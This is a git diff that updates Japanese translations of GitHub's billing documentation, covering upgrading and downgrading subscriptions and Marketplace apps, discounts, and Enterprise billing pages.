+アプリケーションをダウングレードしても、現在の支払いサイクルが終了するまでプランは有効のままです。 ダウングレードは次回の支払い日に有効となります。 詳しい情報については、[{% data variables.product.prodname_marketplace %}の支払いについて](/articles/about-billing-for-github-marketplace)を参照してください。
 
 {% data reusables.marketplace.downgrade-marketplace-only %}
 
-## Downgrading an app for your personal account
+## 個人アカウントのアプリケーションをダウングレードする
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
@@ -31,7 +32,7 @@ When you downgrade an app, your subscription remains active until the end of you
 {% data reusables.marketplace.choose-new-quantity %}
 {% data reusables.marketplace.issue-plan-changes %}
 
-## Downgrading an app for your organization
+## Organization のアプリケーションをダウングレードする
 
 {% data reusables.marketplace.marketplace-org-perms %}
 
@@ -43,6 +44,6 @@ When you downgrade an app, your subscription remains active until the end of you
 {% data reusables.marketplace.choose-new-quantity %}
 {% data reusables.marketplace.issue-plan-changes %}
 
-## Further reading
+## 参考リンク
 
-- "[Canceling a {% data variables.product.prodname_marketplace %} app](/articles/canceling-a-github-marketplace-app/)"
+- "[{% data variables.product.prodname_marketplace %}アプリケーションをキャンセルする](/articles/canceling-a-github-marketplace-app/)"
diff --git a/translations/ja-JP/content/billing/managing-billing-for-github-marketplace-apps/index.md b/translations/ja-JP/content/billing/managing-billing-for-github-marketplace-apps/index.md
index 3b0caf19f6..022c154271 100644
--- a/translations/ja-JP/content/billing/managing-billing-for-github-marketplace-apps/index.md
+++ b/translations/ja-JP/content/billing/managing-billing-for-github-marketplace-apps/index.md
@@ -1,7 +1,7 @@
 ---
-title: Managing billing for GitHub Marketplace apps
-shortTitle: GitHub Marketplace apps
-intro: 'You can upgrade, downgrade, or cancel {% data variables.product.prodname_marketplace %} apps at any time.'
+title: GitHub Marketplace アプリの支払いを管理する
+shortTitle: GitHub Marketplaceアプリケーション
+intro: '{% data variables.product.prodname_marketplace %} アプリのアップグレード、ダウングレード、キャンセルはいつでもできます。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-marketplace-apps
   - /articles/managing-your-personal-account-s-apps
diff --git a/translations/ja-JP/content/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md b/translations/ja-JP/content/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md
index d381202232..22914ceb54 100644
--- a/translations/ja-JP/content/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md
+++ b/translations/ja-JP/content/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md
@@ -1,6 +1,6 @@
 ---
-title: Upgrading the billing plan for a GitHub Marketplace app
-intro: 'You can upgrade your {% data variables.product.prodname_marketplace %} app to a different plan at any time.'
+title: GitHub Marketplace アプリケーションの支払いプランをアップグレードする
+intro: '{% data variables.product.prodname_marketplace %} アプリケーションを別のプランにいつでもアップグレードすることができます。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-the-billing-plan-for-a-github-marketplace-app
   - /articles/upgrading-an-app-for-your-personal-account
@@ -16,11 +16,12 @@ topics:
   - Organizations
   - Upgrades
   - User account
-shortTitle: Upgrade billing plan
+shortTitle: 支払いプランのアップグレード
 ---
-When you upgrade an app, your payment method is charged a prorated amount based on the time remaining until your next billing date. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)."
 
-## Upgrading an app for your personal account
+アプリケーションをアップグレードすると、支払い方法により、次の請求日までの残り時間に基づいて比例配分額を請求されます。 詳しい情報については、[{% data variables.product.prodname_marketplace %}の支払いについて](/articles/about-billing-for-github-marketplace)を参照してください。
+
+## 個人アカウントのアプリケーションをアップグレードする
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
@@ -29,7 +30,7 @@ When you upgrade an app, your payment method is charged a prorated amount based
 {% data reusables.marketplace.choose-new-quantity %}
 {% data reusables.marketplace.issue-plan-changes %}
 
-## Upgrading an app for your organization
+## Organization のアプリケーションをアップグレードする
 
 {% data reusables.marketplace.marketplace-org-perms %}
 
diff --git a/translations/ja-JP/content/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts.md b/translations/ja-JP/content/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts.md
index 30be96c9c4..2a55256937 100644
--- a/translations/ja-JP/content/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts.md
+++ b/translations/ja-JP/content/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts.md
@@ -1,6 +1,6 @@
 ---
-title: About billing for GitHub accounts
-intro: '{% data variables.product.company_short %} offers free and paid products for every developer or team.'
+title: GitHub アカウントの支払いについて
+intro: '{% data variables.product.company_short %} は、すべての開発者あるいは Team に対して無償版と有償版の製品が用意されています。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-accounts
   - /articles/what-is-the-total-cost-of-using-an-organization-account
@@ -21,14 +21,14 @@ topics:
   - Discounts
   - Fundamentals
   - Upgrades
-shortTitle: About billing
+shortTitle: 支払いについて
 ---
 
-For more information about the products available for your account, see "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)." You can see pricing and a full list of features for each product at <{% data variables.product.pricing_url %}>. {% data variables.product.product_name %} does not offer custom products or subscriptions.  
+For more information about the products available for your account, see "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)." 各製品の料金と機能の全リストは <{% data variables.product.pricing_url %}> に掲載されています。 {% data variables.product.product_name %} はカスタムの製品やプランは提供しません。
 
-You can choose monthly or yearly billing, and you can upgrade or downgrade your subscription at any time. For more information, see "[Managing billing for your {% data variables.product.prodname_dotcom %} account](/articles/managing-billing-for-your-github-account)."
+支払いは月単位あるいは年単位を選択でき、プランのアップグレードやダウングレードはいつでもできます。 詳細は「[ {% data variables.product.prodname_dotcom %} の支払いを管理する](/articles/managing-billing-for-your-github-account)」を参照してください。
 
-You can purchase other features and products with your existing {% data variables.product.product_name %} payment information. For more information, see "[About billing on {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)."
+既存の {% data variables.product.product_name %} の支払い情報で追加の機能や製品をご購入いただくことができます。 詳細は「[ {% data variables.product.prodname_dotcom %} の支払いについて](/articles/about-billing-on-github)」を参照してください。
 
 {% data reusables.accounts.accounts-billed-separately %}
 
@@ -36,7 +36,7 @@ You can purchase other features and products with your existing {% data variable
 
 {% tip %}
 
-**Tip:** {% data variables.product.prodname_dotcom %} has programs for verified students and academic faculty, which include academic discounts. For more information, visit [{% data variables.product.prodname_education %}](https://education.github.com/).
+**ヒント:** {% data variables.product.prodname_dotcom %} では、アカデミック割引をご利用いただける確認済みの生徒およびアカデミック機関向けのプログラムをご用意しています。 詳しい情報については [{% data variables.product.prodname_education %}](https://education.github.com/) にアクセスして下さい。
 
 {% endtip %}
 
diff --git a/translations/ja-JP/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md b/translations/ja-JP/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md
index 7c476b525c..24a2ae292f 100644
--- a/translations/ja-JP/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md
+++ b/translations/ja-JP/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: About billing for your enterprise
 intro: Enterprise の支払情報を確認できます。
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /admin/overview/managing-billing-for-your-enterprise
   - /enterprise/admin/installation/managing-billing-for-github-enterprise
diff --git a/translations/ja-JP/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md b/translations/ja-JP/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md
index 7a4cfe612c..25e4dc13e6 100644
--- a/translations/ja-JP/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md
+++ b/translations/ja-JP/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Azure サブスクリプションを Enterprise に接続する
 intro: 'Microsoft Enterprise Agreement を使用して、Enterprise に含まれている金額を超える {% data variables.product.prodname_actions %} および {% data variables.product.prodname_registry %} の使用を有効化して支払うことができます。'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/connecting-an-azure-subscription-to-your-enterprise
   - /github/setting-up-and-managing-billing-and-payments-on-github/connecting-an-azure-subscription-to-your-enterprise
diff --git a/translations/ja-JP/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md b/translations/ja-JP/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md
index 6209f8ad3b..b4945e3e55 100644
--- a/translations/ja-JP/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md
+++ b/translations/ja-JP/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md
@@ -1,6 +1,6 @@
 ---
-title: Discounted subscriptions for GitHub accounts
-intro: '{% data variables.product.product_name %} provides discounts to students, educators, educational institutions, nonprofits, and libraries.'
+title: GitHub アカウントの割引プラン
+intro: '{% data variables.product.product_name %}は、学生、教師、教育機関、非営利団体、図書館などに割引を提供しています。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/discounted-subscriptions-for-github-accounts
   - /articles/discounted-personal-accounts
@@ -18,28 +18,29 @@ topics:
   - Discounts
   - Nonprofits
   - User account
-shortTitle: Discounted subscriptions
+shortTitle: 割引されたサブスクリプション
 ---
+
 {% tip %}
 
-**Tip**: Discounts for {% data variables.product.prodname_dotcom %} do not apply to subscriptions for other paid products and features.
+**参考**: {% data variables.product.prodname_dotcom %}の割引は他の有料製品や有料機能のプランには適用されません。
 
 {% endtip %}
 
-## Discounts for personal accounts
+## 個人アカウントへの割引
 
-In addition to the unlimited public and private repositories for students and faculty with {% data variables.product.prodname_free_user %}, verified students can apply for the {% data variables.product.prodname_student_pack %} to receive additional benefits from {% data variables.product.prodname_dotcom %} partners. For more information, see "[Apply for a student developer pack](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-a-student-developer-pack)."
+{% data variables.product.prodname_free_user %} で学生と教員が無制限のパブリックリポジトリとプライベートリポジトリを使用できることに加えて、検証済みの学生は {% data variables.product.prodname_student_pack %} に申請し、{% data variables.product.prodname_dotcom %} パートナーからのさらなるメリットを受けていただけます。 詳しい情報については、「[学生向け開発者パックに応募する](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-a-student-developer-pack)」を参照してください。
 
-## Discounts for schools and universities
+## 学校・大学向け割引
 
-Verified academic faculty can apply for {% data variables.product.prodname_team %} for teaching or academic research. For more information, see "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)." You can also request educational materials goodies for your students. For more information, visit [{% data variables.product.prodname_education %}](https://education.github.com/).
+検証済みの教職員は教育や学術研究の目的で {% data variables.product.prodname_team %} に申し込むことができます。 詳しい情報については、「[教室や研究で {% data variables.product.prodname_dotcom %} を使う](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)」を参照してください。 また、学生のために教材をお求めいただくこともできます。 詳しい情報については [{% data variables.product.prodname_education %}](https://education.github.com/) にアクセスして下さい。
 
-## Discounts for nonprofits and libraries
+## 非営利目的や図書館への割引
 
-{% data variables.product.product_name %} provides free {% data variables.product.prodname_team %} for organizations with unlimited private repositories, unlimited collaborators, and a full feature set to qualifying 501(c)3 (or equivalent) organizations and libraries. You can request a discount for your organization on [our nonprofit page](https://github.com/nonprofit).
+{% data variables.product.product_name %} は、無制限のプライベートリポジトリ、無制限のコラボレータ、無制限の機能付きの Organization 向け {% data variables.product.prodname_team %} を、501(c)3 (または同等) の資格を持つ Organization および図書館に無料で提供しています。 自分の Organization への割引を[非営利目的ページ](https://github.com/nonprofit)でリクエストできます。
 
-If your organization already has a paid subscription, your organization's last transaction will be refunded once your nonprofit discount has been applied.
+すでに有料プランに契約されている Organization の場合、非営利目的の割引が適用され次第、Organization の最後の取引が返金されます。
 
-## Further reading
+## 参考リンク
 
-- "[About billing on {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)"
+- "[{% data variables.product.prodname_dotcom %} の支払いについて](/articles/about-billing-on-github)"
diff --git a/translations/ja-JP/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md b/translations/ja-JP/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md
index cdaa744340..8fb810dc06 100644
--- a/translations/ja-JP/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md
+++ b/translations/ja-JP/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md
@@ -1,5 +1,5 @@
 ---
-title: Downgrading your GitHub subscription
+title: GitHub プランをダウングレードする
 intro: 'You can downgrade the subscription for any type of account on {% data variables.product.product_location %} at any time.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-your-github-subscription
@@ -26,71 +26,62 @@ topics:
   - Organizations
   - Repositories
   - User account
-shortTitle: Downgrade subscription
+shortTitle: サブスクリプションのダウングレード
 ---
-## Downgrading your {% data variables.product.product_name %} subscription
 
-When you downgrade your user account or organization's subscription, pricing and account feature changes take effect on your next billing date. Changes to your paid user account or organization subscription does not affect subscriptions or payments for other paid {% data variables.product.prodname_dotcom %} features. For more information, see "[How does upgrading or downgrading affect the billing process?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)."
+## {% data variables.product.product_name %}プランのダウングレード
 
-## Downgrading your user account's subscription
+ユーザアカウントまたはOrganizationのプランをダウングレードした場合、価格とアカウント機能の変更は次の請求日から有効になります。 有料のユーザアカウントまたはOrganizationのプランを変更しても、他の有料{% data variables.product.prodname_dotcom %} 機能のプランや支払いには影響しません。 詳細は「[アップグレードやダウングレードは支払い処理にどのように影響しますか?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)」を参照してください。
 
-If you downgrade your user account from {% data variables.product.prodname_pro %} to {% data variables.product.prodname_free_user %}, the account will lose access to advanced code review tools on private repositories. {% data reusables.gated-features.more-info %}
+## ユーザアカウントのプランをダウングレードする
+
+ユーザアカウントを{% data variables.product.prodname_pro %}から{% data variables.product.prodname_free_user %}にダウングレードした場合、プライベートリポジトリでの高度なコードレビューツールにはアクセスできなくなります。 {% data reusables.gated-features.more-info %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
-1. Under "Current plan", use the **Edit** drop-down and click **Downgrade to Free**.
-  ![Downgrade to free button](/assets/images/help/billing/downgrade-to-free.png)
-5. Read the information about the features your user account will no longer have access to on your next billing date, then click **I understand. Continue with downgrade**.
-  ![Continue with downgrade button](/assets/images/help/billing/continue-with-downgrade.png)
+1. "Current plan（現在のプラン）"の下で、**Edit（編集）**ドロップダウンを使い、**Downgrade to Free（Freeへのダウングレード）**をクリックしてください。 ![Downgrade to free button](/assets/images/help/billing/downgrade-to-free.png)
+5. 次回の請求日にユーザアカウントがアクセスできなくなる機能に関する情報を読み、[**I understand. Continue with downgrade**] をクリックします。 ![[Continue with downgrade] ボタン](/assets/images/help/billing/continue-with-downgrade.png)
 
-If you published a {% data variables.product.prodname_pages %} site in a private repository and added a custom domain, remove or update your DNS records before downgrading from {% data variables.product.prodname_pro %} to {% data variables.product.prodname_free_user %}, to avoid the risk of a domain takeover. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
+プライベートリポジトリに {% data variables.product.prodname_pages %} サイトを公開し、カスタムドメインを追加した場合、ドメイン乗っ取りのリスクを回避するため、{% data variables.product.prodname_pro %} から {% data variables.product.prodname_free_user %} にダウングレードする前に DNS レコードを削除または更新します。 詳しい情報については、「[{% data variables.product.prodname_pages %} サイト用のカスタムドメインを管理する](/articles/managing-a-custom-domain-for-your-github-pages-site)」を参照してください。
 
-## Downgrading your organization's subscription
+## Organizationのプランをダウングレードする
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
-If you downgrade your organization from {% data variables.product.prodname_team %} to {% data variables.product.prodname_free_team %} for an organization, the account will lose access to advanced collaboration and management tools for teams.
+Organizationを{% data variables.product.prodname_team %}から{% data variables.product.prodname_free_team %}にダウングレードした場合、そのアカウントはチームの高度なコラボレーションおよび管理ツールにはアクセスできなくなります。
 
-If you downgrade your organization from {% data variables.product.prodname_ghe_cloud %} to {% data variables.product.prodname_team %} or {% data variables.product.prodname_free_team %}, the account will lose access to advanced security, compliance, and deployment controls. {% data reusables.gated-features.more-info %}
+Organizationを{% data variables.product.prodname_ghe_cloud %}から{% data variables.product.prodname_team %}または{% data variables.product.prodname_free_team %}にダウングレードした場合、そのアカウントは高度なセキュリティ、コンプライアンス、およびデプロイメントコントロールにアクセスできなくなります。 {% data reusables.gated-features.more-info %}
 
 {% data reusables.organizations.billing-settings %}
-1. Under "Current plan", use the **Edit** drop-down and click the downgrade option you want.
-  ![Downgrade button](/assets/images/help/billing/downgrade-option-button.png)
+1. "Current plan（現在のプラン）"の下で、[**Edit**] ドロップダウンから必要なダウングレード オプションをクリックします。 ![[Downgrade] ボタン](/assets/images/help/billing/downgrade-option-button.png)
 {% data reusables.dotcom_billing.confirm_cancel_org_plan %}
 
-## Downgrading an organization's subscription with legacy per-repository pricing
+## 従来のリポジトリ単位の支払いを使用しているOrganizationのプランをダウングレードする
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
-{% data reusables.dotcom_billing.switch-legacy-billing %} For more information, see "[Switching your organization from per-repository to per-user pricing](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription#switching-your-organization-from-per-repository-to-per-user-pricing)."
+{% data reusables.dotcom_billing.switch-legacy-billing %}詳しい情報については、「[Organization をリポジトリごとからユーザごとに切り替える](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription#switching-your-organization-from-per-repository-to-per-user-pricing)」を参照してください。
 
 {% data reusables.organizations.billing-settings %}
-5. Under "Subscriptions", select the "Edit" drop-down, and click **Edit plan**.
-    ![Edit Plan dropdown](/assets/images/help/billing/edit-plan-dropdown.png)
-1. Under "Billing/Plans",  next to the plan you want to change, click **Downgrade**.
-    ![Downgrade button](/assets/images/help/billing/downgrade-plan-option-button.png)
-1. Enter the reason you're downgrading your account, then click **Downgrade plan**.
-    ![Text box for downgrade reason and downgrade button](/assets/images/help/billing/downgrade-plan-button.png)
+5. [Subscriptions] の下にある [Edit] ドロップダウンメニューから [**Edit plan**] をクリックします。 ![[Edit Plan] ドロップダウン](/assets/images/help/billing/edit-plan-dropdown.png)
+1. [Billing/Plans] で、変更する必要があるプランの横にある [**Downgrade**] をクリックします。 ![[Downgrade] ボタン](/assets/images/help/billing/downgrade-plan-option-button.png)
+1. アカウントをダウングレードする理由を入力し、[**Downgrade plan**] をクリックします。 ![ダウングレードの理由を入力するテキストボックスと [Downgrade] ボタン](/assets/images/help/billing/downgrade-plan-button.png)
 
-## Removing paid seats from your organization
+## Organization から有料シートを削除する
 
-To reduce the number of paid seats your organization uses, you can remove members from your organization or convert members to outside collaborators and give them access to only public repositories. For more information, see:
-- "[Removing a member from your organization](/articles/removing-a-member-from-your-organization)"
-- "[Converting an organization member to an outside collaborator](/articles/converting-an-organization-member-to-an-outside-collaborator)"
-- "[Managing an individual's access to an organization repository](/articles/managing-an-individual-s-access-to-an-organization-repository)"
+Organization が使用する有料シート数を減らすには、Organization からメンバーを削除するか、メンバーを外部コラボレーターに変更してアクセス権をパブリックリポジトリに限定する方法があります。 詳しい情報については、以下を参照してください。
+- "[Organization からメンバーを削除する](/articles/removing-a-member-from-your-organization)"
+- [Organizatin のメンバーを外部のコラボレータに変換する](/articles/converting-an-organization-member-to-an-outside-collaborator)
+- [Organizationのリポジトリへの個人のアクセスの管理](/articles/managing-an-individual-s-access-to-an-organization-repository)
 
 {% data reusables.organizations.billing-settings %}
-1. Under "Current plan", use the **Edit** drop-down and click **Remove seats**.
-  ![remove seats dropdown](/assets/images/help/billing/remove-seats-dropdown.png)
-1. Under "Remove seats", select the number of seats you'd like to downgrade to.
-  ![remove seats option](/assets/images/help/billing/remove-seats-amount.png)
-1. Review the information about your new payment on your next billing date, then click **Remove seats**.
-  ![remove seats button](/assets/images/help/billing/remove-seats-button.png)
+1. "Current plan（現在のプラン）"の下で、**Edit（編集）**ドロップダウンを使い、**Remove seats（シートの削除）**をクリックしてください。 ![[Remove Seats] ドロップダウン](/assets/images/help/billing/remove-seats-dropdown.png)
+1. [Remove seats] の下でダウングレードするシート数を選択します。 ![[Remove Seats] オプション](/assets/images/help/billing/remove-seats-amount.png)
+1. 次回請求日の新しい支払いに関する情報を確認し、[**Remove seats**] をクリックします。 ![[Remove Seats] ボタン](/assets/images/help/billing/remove-seats-button.png)
 
-## Further reading
+## 参考リンク
 
-- "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)"
-- "[How does upgrading or downgrading affect the billing process?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)"
-- "[About billing on {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)."
-- "[Removing a payment method](/articles/removing-a-payment-method)"
-- "[About per-user pricing](/articles/about-per-user-pricing)"
+- "[{% data variables.product.prodname_dotcom %}の製品](/articles/github-s-products)"
+- [アップグレードあるいはダウングレードの支払いプロセスへの影響は？](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)
+- 「[{% data variables.product.prodname_dotcom %} の支払いについて](/articles/about-billing-on-github)」
+- [ユーザごとの価格付けについて](/articles/about-per-user-pricing)
diff --git a/translations/ja-JP/content/billing/managing-billing-for-your-github-account/index.md b/translations/ja-JP/content/billing/managing-billing-for-your-github-account/index.md
index 7801363423..eeade6cfbe 100644
--- a/translations/ja-JP/content/billing/managing-billing-for-your-github-account/index.md
+++ b/translations/ja-JP/content/billing/managing-billing-for-your-github-account/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing billing for your GitHub account
-shortTitle: Your GitHub account
+title: GitHub アカウントの支払いを管理する
+shortTitle: GitHubアカウント
 intro: '{% ifversion fpt %}{% data variables.product.product_name %} offers free and paid products for every account. You can upgrade, downgrade, and view pending changes to your account''s subscription at any time.{% elsif ghec or ghes or ghae %}You can manage billing for {% data variables.product.product_name %}{% ifversion ghae %}.{% elsif ghec or ghes %} from your enterprise account on {% data variables.product.prodname_dotcom_the_website %}.{% endif %}{% endif %}'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account
diff --git a/translations/ja-JP/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md b/translations/ja-JP/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md
index dc50cbafe3..79e16638d8 100644
--- a/translations/ja-JP/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md
+++ b/translations/ja-JP/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md
@@ -2,7 +2,6 @@
 title: Managing invoices for your enterprise
 shortTitle: Manage invoices
 intro: 'You can view, pay, or download a current invoice for your enterprise, and you can view your payment history.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 versions:
   ghec: '*'
 type: how_to
diff --git a/translations/ja-JP/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md b/translations/ja-JP/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md
index fee3631236..6d78fb8298 100644
--- a/translations/ja-JP/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md
+++ b/translations/ja-JP/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md
@@ -1,5 +1,5 @@
 ---
-title: Upgrading your GitHub subscription
+title: GitHub のプランをアップグレードする
 intro: 'You can upgrade the subscription for any type of account on {% data variables.product.product_location %} at any time.'
 miniTocMaxHeadingLevel: 3
 redirect_from:
@@ -29,7 +29,7 @@ topics:
   - Troubleshooting
   - Upgrades
   - User account
-shortTitle: Upgrade your subscription
+shortTitle: サブスクリプションのアップグレード
 ---
 
 ## About subscription upgrades
@@ -38,15 +38,14 @@ shortTitle: Upgrade your subscription
 
 When you upgrade the subscription for an account, the upgrade changes the paid features available for that account only, and not any other accounts you use.
 
-## Upgrading your personal account's subscription
+## 個人アカウントのプランをアップグレードする
 
 You can upgrade your personal account from {% data variables.product.prodname_free_user %} to {% data variables.product.prodname_pro %} to get advanced code review tools on private repositories owned by your user account. Upgrading your personal account does not affect any organizations you may manage or repositories owned by those organizations. {% data reusables.gated-features.more-info %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
-1. Next to "Current plan", click **Upgrade**.
-  ![Upgrade button](/assets/images/help/billing/settings_billing_user_upgrade.png)
-2. Under "Pro" on the "Compare plans" page, click **Upgrade to Pro**.
+1. "Current plan（現在のプラン）"の隣で**Upgrade（アップグレード）**をクリックしてください。 ![アップグレードボタン](/assets/images/help/billing/settings_billing_user_upgrade.png)
+2. "Compare plans（プランの比較）"ページの"Pro（プロ）"の下で、**Upgrade to Pro（プロにアップグレード）**をクリックしてください。
 {% data reusables.dotcom_billing.choose-monthly-or-yearly-billing %}
 {% data reusables.dotcom_billing.show-plan-details %}
 {% data reusables.dotcom_billing.enter-billing-info %}
@@ -57,9 +56,9 @@ You can upgrade your personal account from {% data variables.product.prodname_fr
 
 You can upgrade your organization's subscription to a different product, add seats to your existing product, or switch from per-repository to per-user pricing.
 
-### Upgrading your organization's subscription
+### Organization のプランをアップグレードする
 
-You can upgrade your organization from {% data variables.product.prodname_free_team %} for an organization to {% data variables.product.prodname_team %} to access advanced collaboration and management tools for teams, or upgrade your organization to {% data variables.product.prodname_ghe_cloud %} for additional security, compliance, and deployment controls. Upgrading an organization does not affect your personal account or repositories owned by your personal account. {% data reusables.gated-features.more-info-org-products %}
+Organization を {% data variables.product.prodname_free_team %} から {% data variables.product.prodname_team %} にアップグレードすると、チーム用の高度なコラボレーションおよび管理ツールにアクセスできます。また、{% data variables.product.prodname_ghe_cloud %} にアップグレードすると、セキュリティ、コンプライアンス、およびデプロイメントの管理を強化できます。 Upgrading an organization does not affect your personal account or repositories owned by your personal account. {% data reusables.gated-features.more-info-org-products %}
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
@@ -72,41 +71,39 @@ You can upgrade your organization from {% data variables.product.prodname_free_t
 {% data reusables.dotcom_billing.owned_by_business %}
 {% data reusables.dotcom_billing.finish_upgrade %}
 
-### Next steps for organizations using {% data variables.product.prodname_ghe_cloud %}
+### {% data variables.product.prodname_ghe_cloud %} を使用する Organization の次のステップ
 
-If you upgraded your organization to {% data variables.product.prodname_ghe_cloud %}, you can set up identity and access management for your organization. For more information, see "[Managing SAML single sign-on for your organization](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+Organization を {% data variables.product.prodname_ghe_cloud %} にアップグレードした場合は、ここで Organization の ID とアクセス管理を設定できます。 For more information, see "[Managing SAML single sign-on for your organization](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
 
-If you'd like to use an enterprise account with {% data variables.product.prodname_ghe_cloud %}, contact {% data variables.contact.contact_enterprise_sales %}. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+{% data variables.product.prodname_ghe_cloud %} で Enterprise アカウントを使いたい場合は、{% data variables.contact.contact_enterprise_sales %} に連絡してください。 For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
 
-### Adding seats to your organization
+### Organization にシートを追加する
 
-If you'd like additional users to have access to your {% data variables.product.prodname_team %} organization's private repositories, you can purchase more seats anytime.
+{% data variables.product.prodname_team %} Organization のプライベートリポジトリにアクセスできるユーザを追加したい場合、いつでもシートを買い足すことができます。
 
 {% data reusables.organizations.billing-settings %}
 {% data reusables.dotcom_billing.add-seats %}
 {% data reusables.dotcom_billing.number-of-seats %}
 {% data reusables.dotcom_billing.confirm-add-seats %}
 
-### Switching your organization from per-repository to per-user pricing
+### Organization をリポジトリごとからユーザごとに切り替える
 
-{% data reusables.dotcom_billing.switch-legacy-billing %} For more information, see "[About per-user pricing](/articles/about-per-user-pricing)."
+{% data reusables.dotcom_billing.switch-legacy-billing %} 詳細は「[ユーザごとの価格付けについて](/articles/about-per-user-pricing)」を参照してください。
 
 {% data reusables.organizations.billing-settings %}
-5. To the right of your plan name, use the **Edit** drop-down menu, and select **Edit plan**.
-  ![Edit drop-down menu](/assets/images/help/billing/per-user-upgrade-button.png)
-6. To the right of "Advanced tools for teams", click **Upgrade now**.
-  ![Upgrade now button](/assets/images/help/billing/per-user-upgrade-now-button.png)
+5. プラン名の右にある [**Edit**] ドロップダウンメニューで、[**Edit plan**] を選択します。 ![[Edit] ドロップダウンメニュー](/assets/images/help/billing/per-user-upgrade-button.png)
+6. [Advanced tools for teams] の右にある [**Upgrade now**] をクリックします。 ![[Upgrade now] ボタン](/assets/images/help/billing/per-user-upgrade-now-button.png)
